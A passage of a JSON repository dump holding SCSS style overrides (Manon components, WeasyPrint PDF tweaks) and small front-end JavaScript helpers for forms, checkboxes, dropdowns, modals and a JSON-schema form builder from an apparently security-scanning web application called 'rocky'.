    "content": "/* Layout form overrides */\nsection,\narticle,\nheader nav,\nfooter,\ndiv,\nform {\n  &.layout-form {\n    margin: var(--layout-form-margin);\n  }\n}\n\nsection,\narticle,\nheader nav,\nfooter,\ndiv {\n  &.layout-form {\n    padding: 0;\n  }\n}\n\n:root {\n  --layout-form-margin: 0;\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/manon/nested-section.scss",
    "content": "/* Nested sections */\n\nbody main section section {\n  width: 100%;\n  padding: 0;\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/manon/notification.scss",
    "content": "p,\na,\nspan,\nli,\nh1,\nh2,\nh3,\nh4,\nh5,\nh6,\ndiv {\n  &.error,\n  &.warning,\n  &.explanation,\n  &.confirmation,\n  &.system {\n    max-width: var(--max-line-length-max-width);\n    margin: 0;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/manon/table.scss",
    "content": "/* Table overrides */\n\ntable i.icon,\ntable span.icon {\n  &::before {\n    display: inline-block;\n    line-height: 1.25;\n  }\n}\n\n.expando-row > td > section {\n  width: 100%;\n}\n\ntable .expando-row pre {\n  max-width: 80vw;\n}\n\ntable td.ascii {\n  font-family: monospace;\n}\n\ntable.hex td.ascii:hover,\ntable.hex td.ascii .highlight {\n  background-color: var(--branding-color-2-background-color);\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/manon/tabs.scss",
    "content": "[role=\"tablist\"] {\n  min-width: 80vw;\n}\n\n[role=\"tablist\"] .button-container {\n  /* Alignment */\n  display: flex;\n  flex-direction: row;\n  padding: var(--spacing-grid-050);\n  box-sizing: border-box;\n  border-radius: var(--border-radius-s);\n  margin-top: 0;\n  line-height: 1.5rem;\n  border: 1px solid var(--colors-purrple-300);\n  gap: var(--spacing-grid-100);\n  overflow: auto;\n}\n\n[role=\"tab\"],\n[role=\"tab\"]:focus,\n[role=\"tab\"]:hover {\n  padding: var(--spacing-grid-050) var(--spacing-grid-100);\n  border-radius: var(--border-radius-s);\n  background-color: var(--colors-white);\n  box-sizing: border-box;\n  border: 0;\n  margin: 2px;\n\n  /* Text and icon styling */\n  text-decoration: none;\n  font-weight: normal;\n  white-space: nowrap;\n  color: var(--colors-grey-900);\n\n  /* Behaviour */\n  cursor: pointer;\n  overflow-wrap: break-word;\n}\n\n[role=\"tab\"]:hover {\n  background-color: var(--colors-purrple-300);\n}\n\n[role=\"tab\"][aria-selected=\"true\"] {\n  font-weight: bold;\n  background-color: var(--colors-purrple-200);\n}\n\n[role=\"tabpanel\"] {\n  padding: 5px;\n  border: 1px solid var(--colors-grey-900);\n  border-radius: var(--border-radius-s);\n  overflow: auto;\n  margin-top: -10px;\n}\n\n[role=\"tabpanel\"] > pre:only-child {\n  margin: -5px;\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/manon/tile.scss",
    "content": "/* Tiles - Variables */\n\n$normalizer-plugin-type-label-background: #abdbf8;\n$normalizer-plugin-type-label: #005c94;\n$boefje-plugin-type-label-background: #d6d1ef;\n$boefje-plugin-type-label: #5b4f90;\n\n%tile-style-overrides {\n  > a {\n    color: var(--link-text-color, initial);\n  }\n\n  > p {\n    font-size: var(--tile-font-size);\n  }\n}\n\n.tile,\n.tiles,\nul.tiles {\n  > li {\n    @extend %tile-style-overrides;\n  }\n\n  .level-indicator {\n    padding-left: 0;\n  }\n\n  & > div {\n    @extend %tile-style-overrides;\n\n    min-width: 0;\n    border: 0;\n    box-shadow: 0 8px 16px 0 #11141626;\n    gap: 1rem;\n\n    .scan-intensity {\n      border: 0;\n      padding: 0;\n    }\n  }\n\n  img + div {\n    border-top: 0;\n  }\n\n  &.plugins {\n    gap: 1.25rem;\n  }\n\n  @extend %tile-style-overrides;\n}\n\n.tiles.images-cover {\n  > div,\n  li {\n    img {\n      border-radius: var(--tile-border-radius) var(--tile-border-radius) 0 0;\n    }\n  }\n}\n\n.label-plugin-type {\n  padding: var(--spacing-grid-050) var(--spacing-grid-100);\n  border-radius: var(--border-radius-s);\n\n  &.boefje {\n    background-color: $boefje-plugin-type-label-background;\n    color: $boefje-plugin-type-label;\n  }\n\n  &.normalizer {\n    background-color: $normalizer-plugin-type-label-background;\n    color: $normalizer-plugin-type-label;\n  }\n}\n\n.tiles > div > .tags {\n  display: flex;\n  flex-direction: row;\n  flex-wrap: wrap;\n  gap: 0.5rem;\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/two-factor.scss",
    "content": "// bootstrap style used by django two-factor package\n.d-none {\n  display: none !important;\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/weasyprint/accordion.scss",
    "content": "/* Weasyprint Accordion */\n\nul.accordion {\n  display: inline;\n\n  > li {\n    > button {\n      display: inline;\n      font-weight: bold;\n    }\n\n    > div {\n      display: inline;\n      border: 0;\n    }\n  }\n}\n\n.accordion {\n  --accordion-button-text-color: #006fb3;\n  --accordion-content-background-color: transparent;\n\n  display: inline;\n\n  /* Accordion item */\n  > div,\n  > li {\n    width: 100%;\n    background-color: transparent;\n    padding-top: 0;\n\n    > button {\n      display: block;\n      font-weight: bold;\n      width: 100%;\n\n      /* Show all accordion content */\n      &[aria-expanded=\"true\"] + div,\n      &[aria-expanded=\"false\"] + div {\n        width: 100%;\n        display: block;\n      }\n    }\n\n    > div {\n      border: 0;\n      display: inline;\n    }\n  }\n}\n\n/* Override report specific styling */\nmain.report.sidemenu {\n  .accordion {\n    button {\n      /* Show all accordion content */\n      &[aria-expanded=\"true\"] + div,\n      &[aria-expanded=\"false\"] + div {\n        display: block;\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/weasyprint/application-base.scss",
    "content": "/* Application base */\n\nbody {\n  display: inline;\n\n  > main {\n    display: inline;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/weasyprint/button.scss",
    "content": "/* Weasyprint button overrides */\n\nbutton,\na.button,\ninput[type=\"button\"],\ninput[type=\"submit\"],\ninput[type=\"reset\"],\n.dropdown button,\n.dropdown a.button,\nbutton.ghost,\na.button.ghost,\ninput[type=\"button\"].ghost,\ninput[type=\"submit\"].ghost,\ninput[type=\"reset\"].ghost {\n  display: inline-block;\n  min-width: 0;\n  border: 0;\n  background-color: transparent;\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/weasyprint/chapter-numbers.scss",
    "content": "/* Weasyprint chapter numbers overrides */\n\n.chapter-numbers h3 {\n  margin-top: 2rem;\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/weasyprint/description-list.scss",
    "content": "/* Weasyprint Description list */\n\n$breakpoint: 24rem !default;\n\n%dl-styling {\n  --description-list-item-padding: 0;\n\n  margin: 1rem 0;\n  float: left;\n  width: 100%;\n\n  > div {\n    border-width: 0;\n    box-sizing: border-box;\n    width: 100%;\n    display: block;\n    border-bottom: 1px solid #cccccc;\n    float: left;\n\n    dd,\n    dt {\n      display: block;\n      padding: 0.5rem 0;\n    }\n\n    dt {\n      width: 33.33%;\n      float: left;\n    }\n\n    dd {\n      width: 66.66%;\n      padding-left: 2%;\n      float: left;\n    }\n  }\n}\n\nmain div,\nmain section,\nmain article {\n  form dl,\n  table dl,\n  dl {\n    @extend %dl-styling;\n  }\n}\n\ndl {\n  @extend %dl-styling;\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/weasyprint/headings.scss",
    "content": "/* Weasyprint headings */\n\nh1,\nh2,\nh3 {\n  padding: 0;\n  margin: 0;\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/weasyprint/layout-centered.scss",
    "content": "/* Weasyprint layout-centered overrides */\n.centered {\n  display: block;\n  text-align: center;\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/weasyprint/pdf-overrides.scss",
    "content": "/* Default component styling */\n@import \"../../themes/soft/manon/accordion\";\n@import \"report-manon-components\";\n@import \"../../components/chapter-numbering\";\n\n/* Print styles */\n@import \"../../components/print\";\n@import \"../../components/print_report\";\n\n/* Weasyprint flexbox rendering is very limited and not really usable.\n   https://github.com/Kozea/WeasyPrint/issues/1171#issuecomment-1549483312 */\n\n/* Weasypint overrides */\n@import \"accordion\";\n@import \"application-base\";\n@import \"button\";\n@import \"chapter-numbers\";\n@import \"description-list\";\n@import \"headings\";\n@import \"layout-centered\";\n@import \"section-wrapper\";\n@import \"section\";\n@import \"table-of-contents\";\n@import \"table\";\n@import \"tile\";\n@import \"toolbar\";\n@import \"ul\";\n@import \"visually-hidden\";\n\n:root {\n  --text-set-font-size: 9pt;\n  --body-text-large-font-size: 15pt;\n  --heading-xxl-font-size: 26pt;\n  --heading-xl-font-size: 20pt;\n  --heading-large-font-size: 18pt;\n  --table-font-size: 9pt;\n  --table-head-cell-font-size: 10pt;\n}\n\nbody > main > section.dividing-line {\n  border-top: 0;\n}\n\nbody > main > article > div.report-content > section > div {\n  padding: 0;\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/weasyprint/report-manon-components.scss",
    "content": "/* Application style settings */\n@use \"@minvws/manon/application-base\";\n\n/* Text */\n@use \"@minvws/manon/headings\";\n@use \"@minvws/manon/emphasized\";\n\n/* Helpers */\n@use \"@minvws/manon/horizontal-scroll\";\n\n/* Section */\n@use \"@minvws/manon/section\";\n@use \"@minvws/manon/section-content-wrapper\";\n\n/* Layout exceptions */\n@use \"@minvws/manon/layout-centered\";\n\n/* Tiles */\n@use \"@minvws/manon/tile\";\n\n/* Table */\n@use \"@minvws/manon/table\";\n\n/* Accordion */\n@use \"@minvws/manon/accordion\";\n\n/* Description list */\n@use \"@minvws/manon/description-list\";\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/weasyprint/section-wrapper.scss",
    "content": "/* Weasyprint section-wrapper overrides */\n\nmain section div {\n  display: block;\n  max-width: 100%;\n  padding: 0;\n  box-sizing: border-box;\n  width: 100%;\n\n  > div {\n    h3:first-child {\n      margin-top: 2rem;\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/weasyprint/section.scss",
    "content": "/* Weasyprint section overrides */\n\nmain section {\n  display: block;\n  width: 100%;\n  margin: 2rem 0;\n  padding: 0;\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/weasyprint/table-of-contents.scss",
    "content": "/* Weasyprint Table of contents */\n\nmain.report {\n  &.sidemenu {\n    padding-left: 0;\n\n    & > nav:first-child {\n      padding-left: 0;\n      display: block;\n\n      ol {\n        padding-left: 0;\n        list-style-position: inside;\n\n        li ol,\n        li ul {\n          padding-left: 1rem;\n        }\n      }\n\n      a {\n        color: #006fb3;\n        text-decoration: none;\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/weasyprint/table.scss",
    "content": "/* Weasyprint table overrides */\n\n/* There is a bug in weasyprint that parses the border-width with multiple\n   values wrong when using CSS variables, so we have to specify them here\n   without variables . */\n\n.horizontal-scroll {\n  max-width: 100%;\n}\n\ntable {\n  max-width: 100%;\n  background-color: transparent;\n\n  caption {\n    color: #585858;\n  }\n\n  thead {\n    border-width: 0 0 2px;\n    border-color: #a89cdd;\n  }\n\n  tr {\n    /* Zebra striping with opacity to keep background color. e.g for warnings or errors */\n    &:first-of-type td {\n      border-width: 0 0 1px;\n    }\n\n    &:last-of-type td {\n      border-width: 0 0 1px;\n    }\n\n    &:nth-child(even) td {\n      background-color: white;\n    }\n\n    td {\n      border-width: 0 0 1px;\n\n      span.icon::before {\n        font-size: 1rem;\n      }\n\n      &.actions > button {\n        display: none;\n      }\n    }\n\n    &.expanded-row {\n      td,\n      &:first-of-type td,\n      &:nth-child(even) td {\n        background-color: #eeecf8;\n      }\n    }\n  }\n\n  ul.accordion {\n    width: 100%;\n    display: block;\n\n    &::before {\n      display: none;\n    }\n\n    li {\n      button {\n        display: inline;\n      }\n\n      > div {\n        display: block;\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/weasyprint/tile.scss",
    "content": "/* Weasyprint tile overrides */\n\n.tile {\n  display: inline;\n}\n\n.tiles {\n  > div,\n  > nav,\n  > section {\n    display: inline;\n  }\n}\n\nul.tiles {\n  > li {\n    display: inline;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/weasyprint/toolbar.scss",
    "content": "/* Weasyprint toolbar overrides */\n\n.toolbar {\n  button,\n  a.button,\n  input[type=\"button\"],\n  input[type=\"submit\"],\n  input[type=\"reset\"],\n  .dropdown button,\n  .dropdown a.button,\n  button.ghost,\n  a.button.ghost,\n  input[type=\"button\"].ghost,\n  input[type=\"submit\"].ghost,\n  input[type=\"reset\"].ghost,\n  .dropdown-list {\n    display: none;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/weasyprint/ul.scss",
    "content": "/* Weasyprint ul overrides */\n\nul {\n  padding-left: 1.5rem;\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/weasyprint/visually-hidden.scss",
    "content": "/* Weasyprint visually hidden overrides */\n\n.visually-hidden {\n  display: none;\n}\n"
  },
  {
    "path": "rocky/assets/js/app.js",
    "content": "import \"../css/main.scss\";\n"
  },
  {
    "path": "rocky/assets/js/autoSubmit.js",
    "content": "function initAutoSubmitters() {\n  let autoSubmitters = document.getElementsByClassName(\"submit-on-click\");\n  Array.from(autoSubmitters).forEach(addSubmitOnClick);\n}\n\nfunction addSubmitOnClick(item) {\n  item.onclick = function () {\n    item.closest(\"form\").submit();\n  };\n}\n\ndocument.addEventListener(\"DOMContentLoaded\", (event) => {\n  initAutoSubmitters();\n});\n"
  },
  {
    "path": "rocky/assets/js/checkboxToggler.js",
    "content": "const toggle_all_btn = document.querySelectorAll(\".toggle-all\");\nfor (var i = 0; i < toggle_all_btn.length; i++) {\n  toggle_all_btn[i].addEventListener(\"click\", function (event) {\n    var toggle_target = event.target.dataset.toggleTarget;\n    toggleCheckboxes(toggle_target, !this.classList.contains(\"toggle-on\"));\n    this.classList.toggle(\"toggle-on\");\n  });\n}\n\nfunction toggleCheckboxes(name, value) {\n  // can start with a underscore or Aa-Zz, followed by other numbers, letters, dashes or underscores\n  const namepattern = /^[A-Za-z_][A-Za-z0-9_-]*$/;\n  let checkboxes = false;\n  if (!namepattern.test(name)) {\n    // is our 'name' a css query?\n    checkboxes = document.querySelectorAll(name);\n  } else {\n    checkboxes = document.getElementsByName(name);\n  }\n  if (!checkboxes) {\n    return false;\n  }\n  for (var i = 0; i < checkboxes.length; i++) {\n    if (checkboxes[i].tagName == \"INPUT\" && checkboxes[i].type == \"checkbox\") {\n      checkboxes[i].checked = value;\n    }\n  }\n}\n\nconst checkbox_required_anchors = document.querySelectorAll(\n  \".checkboxes_required\",\n);\nfor (var i = 0; i < checkbox_required_anchors.length; i++) {\n  let anchor = checkbox_required_anchors[i];\n  var form = false;\n  var collection = [];\n  if (anchor.tagName == \"INPUT\" && anchor.type == \"checkbox\") {\n    // we are looking at a checkbox itself, assume we want all checkboxes with the same name in the same form\n    if (anchor.name) {\n      form = anchor.form;\n      collection = form.getElementsByName(anchor.name);\n    }\n  } else if (anchor.tagName == \"FORM\") {\n    form = anchor;\n    collection = anchor.querySelectorAll(\"input[type=checkbox]\");\n  } else {\n    // we are looking at a parent of a group of checkboxes. lets collect all underlying checkboxes.\n    collection = anchor.querySelectorAll(\"input[type=checkbox]\");\n    form = collection[0].form;\n  }\n  if (form) {\n    form.addEventListener(\n      \"submit\",\n      checkbox_required_validity.bind(null, form, anchor),\n    );\n  }\n}\n\nfunction checkbox_required_validity(form, anchor, event) {\n  //  validate the current list of checkboxes against the current min/max required settings only at submit time.\n  var selected_count = 0;\n  var elements = [];\n  if (anchor.tagName == \"INPUT\" && anchor.type == \"checkbox\") {\n    // we are looking at a checkbox itself, assume we want all checkboxes with the same name in the same form\n    selected_count = anchor.form.querySelectorAll(\n      \"input[type=checkbox][name=\" + anchor.name + \"]:checked\",\n    ).length;\n    elements = anchor.form.querySelectorAll(\n      \"input[type=checkbox][name=\" + anchor.name + \"]\",\n    );\n  } else if (anchor.tagName == \"FORM\") {\n    selected_count = anchor.querySelectorAll(\n      \"input[type=checkbox]:checked\",\n    ).length;\n    elements = anchor.querySelectorAll(\"input[type=checkbox]\");\n  } else {\n    // we are looking at a parent of a group of checkboxes. lets collect all underlying checkboxes.\n    selected_count = anchor.querySelectorAll(\n      \"input[type=checkbox]:checked\",\n    ).length;\n    elements = anchor.form.querySelectorAll(\"input[type=checkbox]\");\n  }\n\n  var error_element = elements[0];\n  var minselected = 1; // we expect at least one, unless otherwise specified.\n  var validity = true;\n  error_element.setCustomValidity(\"\");\n  if (\n    (\"min\" in anchor.dataset && anchor.dataset.min > selected_count) ||\n    minselected > selected_count\n  ) {\n    minselected =\n      (\"min\" in anchor.dataset && anchor.dataset.min) || minselected;\n    error_element.setCustomValidity(\n      \"Not enough checkboxes selected, select at least: \" + minselected,\n    );\n    validity = false;\n    event.preventDefault();\n  } else if (\"max\" in anchor.dataset && anchor.dataset.max < selected_count) {\n    error_element.setCustomValidity(\n      \"Too many checkboxes selected. select at most: \" + anchor.dataset.max,\n    );\n    validity = false;\n    event.preventDefault();\n  }\n\n  // bind a change event to *all* checkboxes that might increase or decrease our selected_count;\n  // Increase resets the usecase of a minimal selection, decrease is needed if we have reached the max.\n  elements.forEach(function (element) {\n    element.addEventListener(\n      \"change\",\n      reset_validity.bind(null, error_element),\n    );\n  });\n\n  error_element.reportValidity();\n  return validity;\n}\n\nfunction reset_validity(error_element, event) {\n  // we need to remove the custom error on change, because otherwise the submit won't allow us to revalidate as the form immediately raises an invalid state.\n  error_element.setCustomValidity(\"\");\n}\n\ndocument.addEventListener(\"DOMContentLoaded\", function () {\n  const select_all_objects_element = document.querySelectorAll(\n    \".select_all_objects_element\",\n  );\n  const select_all_objects_form = document.getElementById(\n    \"select_all_objects_form\",\n  );\n\n  select_all_objects_element.forEach(function (element) {\n    if (select_all_objects_form) {\n      element.addEventListener(\"click\", function () {\n        select_all_objects_form.submit();\n      });\n    }\n  });\n});\n"
  },
  {
    "path": "rocky/assets/js/choiceToggle.js",
    "content": "function toggleChoice(form, group, active_value) {\n  // Groups are input/label pairs i their respective parent Div's\n  // find all groups that are bound to this toggler by its data-choicegroup attribute value\n  let all_groups = form.querySelectorAll(\".\" + group);\n  all_groups.forEach(function (groupfield) {\n    // find the label, from there we find the bounding parent div.\n    let associated_label = form.querySelector(\n      \"label[for='\" + groupfield.id + \"']\",\n    );\n    // lets hide them all initially\n    associated_label.parentNode.classList.add(\"hidden\");\n  });\n\n  if (active_value) {\n    // find all groups that should be visible\n    let active_groups = form.querySelectorAll(\".\" + group + \".\" + active_value);\n    active_groups.forEach(function (active_group) {\n      // find the label, from there we find the bounding parent div.\n      let associated_active_label = form.querySelector(\n        \"label[for='\" + active_group.id + \"']\",\n      );\n      associated_active_label.parentNode.classList.remove(\"hidden\");\n    });\n  }\n}\n\nfunction initChoiceTogglers() {\n  const forms = document.querySelectorAll(\"form\");\n\n  forms.forEach(function (form) {\n    // are there any currently active choices?\n    let initial = form.querySelector(\"input.radio-choice:checked\");\n    if (initial) {\n      toggleChoice(form, initial.dataset.choicegroup, initial.value);\n    }\n    // lets catch all change events on the forms, and filter out those that are created by inputs with out radio-choice class\n    form.addEventListener(\"change\", function (event) {\n      let tag = event.target;\n      if (tag.tagName == \"INPUT\" && tag.classList.contains(\"radio-choice\")) {\n        let toggle_group = tag.dataset.choicegroup;\n        let visible_group = tag.value;\n        let formElement =\n          tag.closest(\"form\") ||\n          document.getElementById(tag.getAttribute(\"form\"));\n        toggleChoice(formElement, toggle_group, visible_group);\n      }\n    });\n  });\n}\n\ndocument.addEventListener(\"DOMContentLoaded\", initChoiceTogglers);\n"
  },
  {
    "path": "rocky/assets/js/components.js",
    "content": "import \"/components/main.scss\";\n"
  },
  {
    "path": "rocky/assets/js/dashboard.js",
    "content": "function toggleItems(parent) {\n  const items = parent.querySelectorAll(\".toggle-item\");\n  if (items) {\n    items.forEach((item) => {\n      const showAttr = item.getAttribute(\"data-show\");\n\n      if (showAttr === \"off\") {\n        item.removeAttribute(\"data-show\");\n      } else if (!showAttr) {\n        item.setAttribute(\"data-show\", \"off\");\n      }\n    });\n  }\n}\n\nfunction toggleDataToggle(item) {\n  dataToggle = item.getAttribute(\"data-toggle\");\n\n  if (!dataToggle || dataToggle === \"off\") {\n    item.setAttribute(\"data-toggle\", \"on\");\n  }\n  if (dataToggle === \"on\") {\n    item.setAttribute(\"data-toggle\", \"off\");\n  }\n}\n\nfunction toggleDashboardItems() {\n  const toggleItemButtons = document.querySelectorAll(\".toggle-item-button\");\n\n  toggleItemButtons.forEach(function (button) {\n    button.addEventListener(\"click\", function () {\n      const item_id = this.getAttribute(\"data-id\");\n      const item = document.querySelector(`#item-${item_id}`);\n\n      toggleDataToggle(item);\n      toggleItems(item);\n    });\n  });\n}\n\nfunction toggleDashboard() {\n  const toggleDashboardButton = document.getElementById(\n    \"toggle-dashboard-button\",\n  );\n\n  toggleDashboardButton.addEventListener(\"click\", function () {\n    toggleDataToggle(toggleDashboardButton);\n    toggleItems(toggleDashboardButton);\n\n    const buttonToggled = toggleDashboardButton.getAttribute(\"data-toggle\");\n    // if item is already toggled then no need to toggle,\n    // ex. if it is already showed and you want to toggle to show. it stays showed.\n    const items = document.querySelectorAll(\n      `[id^=\"item-\"]:not([data-toggle=\"${buttonToggled}\"])`,\n    );\n\n    items.forEach((item) => {\n      toggleItems(item);\n    });\n  });\n}\n\ndocument.addEventListener(\"DOMContentLoaded\", function () {\n  toggleDashboard();\n  toggleDashboardItems();\n});\n"
  },
  {
    "path": "rocky/assets/js/dropdown.js",
    "content": "function toggleAriaExpanded(event) {\n  const currentButton = event.target;\n  const isExpanded = currentButton.getAttribute(\"aria-expanded\") === \"true\";\n  const activeButton = document.querySelector(\n    \".dropdown-button[aria-expanded='true']\",\n  );\n\n  if (activeButton && currentButton !== activeButton) {\n    activeButton.setAttribute(\"aria-expanded\", \"false\");\n  }\n\n  currentButton.setAttribute(\"aria-expanded\", !isExpanded);\n}\n\ndocument.addEventListener(\"click\", (event) => {\n  const isDropdownButtonClicked =\n    event.target.classList.contains(\"dropdown-button\");\n\n  if (isDropdownButtonClicked) {\n    toggleAriaExpanded(event);\n  } else {\n    activeButton = document.querySelector(\n      \".dropdown-button[aria-expanded='true']\",\n    );\n    if (activeButton) {\n      activeButton.setAttribute(\"aria-expanded\", \"false\");\n    }\n  }\n});\n"
  },
  {
    "path": "rocky/assets/js/enableButtonTimeout.js",
    "content": "const EnableButton = () => {\n  document.getElementById(\"js-disabled-for-10\").disabled = false;\n};\n\nsetTimeout(() => EnableButton(), 180000);\n"
  },
  {
    "path": "rocky/assets/js/grabSelectionOnModalOpen.js",
    "content": "import { onDomReady } from \"./imports/utils.js\";\nimport {\n  renderRenameSelection,\n  renderDeleteSelection,\n  renderRerunSelection,\n} from \"./reportActionForms.js\";\n\nonDomReady(function () {\n  if (getSelection().length > 0) {\n    openDialogFromUrl(getAnchor());\n  } else {\n    closeDialog(getAnchor());\n  }\n});\n\nexport function openDialogFromUrl(anchor) {\n  // If ID is present in the URL on DomReady, open the dialog immediately.\n  let id = window.location.hash.slice(1);\n\n  if (id) {\n    let modal = document.querySelector(\"#\" + id);\n\n    if (anchor == \"rename-modal\") {\n      renderRenameSelection(modal, getSelection());\n    }\n    if (anchor == \"delete-modal\") {\n      renderDeleteSelection(modal, getSelection());\n    }\n    if (anchor == \"rerun-modal\") {\n      renderRerunSelection(modal, getSelection());\n    }\n  }\n}\n\nexport function closeDialog(anchor) {\n  // If ID is present in the URL on DomReady, open the dialog immediately.\n  let id = window.location.hash.slice(1);\n\n  if (id) {\n    let modal = document.querySelector(\"#\" + id);\n    modal.close();\n  }\n\n  let baseUrl = window.location.toString().split(\"#\")[0];\n  window.history.pushState(\"\", \"Base URL\", baseUrl);\n}\n\nexport function getSelection() {\n  let checkedItems = document.querySelectorAll(\".report-checkbox:checked\");\n  return checkedItems;\n}\n\naddEventListener(\"hashchange\", function () {\n  if (getSelection().length > 0) {\n    openDialogFromUrl(getAnchor());\n  } else {\n    closeDialog(getAnchor());\n  }\n});\n\nfunction getAnchor() {\n  let currentUrl = document.URL;\n  let urlParts = currentUrl.split(\"#\");\n\n  return urlParts.length > 1 ? urlParts[1] : null;\n}\n"
  },
  {
    "path": "rocky/assets/js/imports/graph.js",
    "content": "import \"../../vendors/graph/js/graph-d3.js\";\nimport \"../../vendors/graph/css/graph-d3.css\";\n"
  },
  {
    "path": "rocky/assets/js/imports/manon.js",
    "content": "import \"@minvws/manon/accordion\";\nimport \"@minvws/manon/expando-rows\";\nimport \"@minvws/manon/filters\";\nimport \"@minvws/manon/form-help\";\nimport \"@minvws/manon/collapsible\";\nimport \"@minvws/manon/language-selector\";\nimport \"@minvws/manon/sidemenu\";\n"
  },
  {
    "path": "rocky/assets/js/imports/utils.js",
    "content": "/**\n * Run the given callback function once after the DOM is ready.\n *\n * @param {() => void} fn\n */\nexport function onDomReady(fn) {\n  if (document.readyState !== \"loading\") return fn();\n  document.addEventListener(\"DOMContentLoaded\", fn);\n}\n\n/**\n * Provide the given element with a unique generated `id`, if it does not have one already.\n *\n * @param {HTMLElement} element\n */\nexport function ensureElementHasId(element) {\n  if (!element.id) {\n    element.id =\n      element.tagName + \"-\" + (~~(Math.random() * 1e9) + 1e9).toString(16);\n  }\n}\n\n/**\n * Set up a matchMedia change event listener. Returns a function that, when\n * called, will remove the event listener again.\n *\n * @param {string} media\n * @param {(event: { matches: boolean }) => void} handler\n * @return {() => void}\n */\nexport function onMediaQueryMatch(media, handler) {\n  var mql = window.matchMedia(media);\n\n  if (mql.addEventListener) {\n    mql.addEventListener(\"change\", handler);\n  } else {\n    mql.addListener(handler);\n  }\n\n  handler(mql);\n\n  return function remove() {\n    if (mql.addEventListener) {\n      mql.removeEventListener(\"change\", handler);\n    } else {\n      mql.removeListener(handler);\n    }\n  };\n}\n\n/**\n * @param {HTMLElement} parent\n * @param {HTMLElement} child\n */\nexport function prependNode(parent, child) {\n  var children = parent.childNodes;\n  if (children.length) parent.insertBefore(child, children[0]);\n  else parent.appendChild(child);\n}\n\n/**\n * Set up a MutationObserver. Returns a disconnect function.\n * @param {() => void} handler\n * @param {HTMLElement | undefined} [root]\n * @return {undefined|() => void}\n */\nexport function onDomUpdate(handler, root) {\n  if (\"MutationObserver\" in window) {\n    var observer = new MutationObserver(handler);\n    observer.observe(root || document, { childList: true, subtree: true });\n    return observer.disconnect.bind(observer);\n  }\n}\n\n/**\n * Ponyfill for Element.prototype.closest.\n * @param {Element} element\n * @param {DOMString} selectors\n * @return {Element | null}\n */\nexport function closest(element, selectors) {\n  if (Element.prototype.closest) {\n    return element.closest(selectors);\n  }\n  var matches =\n    Element.prototype.matches ||\n    Element.prototype.msMatchesSelector ||\n    Element.prototype.webkitMatchesSelector;\n\n  do {\n    if (matches.call(element, selectors)) {\n      return element;\n    }\n    element = element.parentElement || element.parentNode;\n  } while (element !== null && element.nodeType === 1);\n\n  return null;\n}\n"
  },
  {
    "path": "rocky/assets/js/jsonSchemaToForm.js",
    "content": "window.addEventListener(\"load\", (event) => {\n  loadform(\"JsonSchemaForm\");\n});\n\nvar inputtypes = {\n  string: \"text\",\n  integer: \"number\",\n  boolean: \"checkbox\",\n};\n\nvar formattypes = {\n  \"idn-email\": [\"input\", \"email\", null],\n  \"date-time\": [\"input\", \"datetime-local\", null],\n  hostname: [\"input\", \"text\", \"^[a-zA-Z][a-zA-Zd-]{1,22}[a-zA-Zd]$\"],\n  \"idn-hostname\": [\"input\", \"text\", \"^[a-zA-Z][a-zA-Zd-]{1,22}[a-zA-Zd]$\"],\n  url: [\"input\", \"url\", null],\n  uri: [\"input\", \"url\", null],\n  \"uri-reference\": [\"input\", \"url\", null],\n  iri: [\"input\", \"url\", null],\n  \"iri-reference\": [\"input\", \"url\", null],\n  ipv4: [\"input\", \"text\", \"((^|.)((25[0-5])|(2[0-4]d)|(1dd)|([1-9]?d))){4}$\"],\n  ipv6: [\"input\", \"text\", \"((^|:)([0-9a-fA-F]{0,4})){1,8}$\"],\n  textarea: [\"textarea\"],\n};\n\nfunction loadform(className) {\n  let schemafields = document.querySelectorAll(\".\" + className);\n  schemafields.forEach((schemafield) => {\n    let schema = schemafield.value;\n    let original = schemafield.dataset.original;\n    let identifier = schemafield.id ? schemafield.id : \"new\";\n    let parent = schemafield.closest(\"fieldset\") || schemafield.closest(\"form\");\n    parent.className = \"indented\";\n    schemafield.style.display = \"none\";\n    schema = JSON.parse(schema);\n    settype(parent, schema, original, identifier);\n    schemafield.addEventListener(\"change\", (event) => {\n      field = event.target;\n      schema = field.value;\n      schema = JSON.parse(schema);\n      original = field.dataset.original;\n      parent = field.closest(\"fieldset\") || field.closest(\"form\");\n      settype(parent, schema, original, identifier);\n    });\n    let form = schemafield.closest(\"form\");\n    form.addEventListener(\"submit\", (event) => {\n      event.preventDefault();\n      schemafield.value = JSON.stringify(form2json(form, schema, identifier));\n      form.submit();\n    });\n  });\n}\n\nfunction settype(parent, schema, original, identifier) {\n  if (original) {\n    try {\n      original = JSON.parse(original);\n    } catch (e) {\n      console.log(\"Json parsing of content failed: \", original);\n      original = null;\n    }\n  }\n\n  resetform(parent);\n  parent.appendChild(renderSchema(schema, original, identifier));\n}\n\nfunction renderSchema(schema, original, identifier) {\n  if (schema[\"type\"] == \"object\") {\n    return renderobject(original, identifier, schema);\n  } else if (schema[\"type\"] == \"array\") {\n    fieldname = schema[\"name\"] || schema[\"description\"] || \"Content\";\n    return renderarray(original, identifier, fieldname, schema);\n  }\n}\n\nfunction renderobject(original, path, 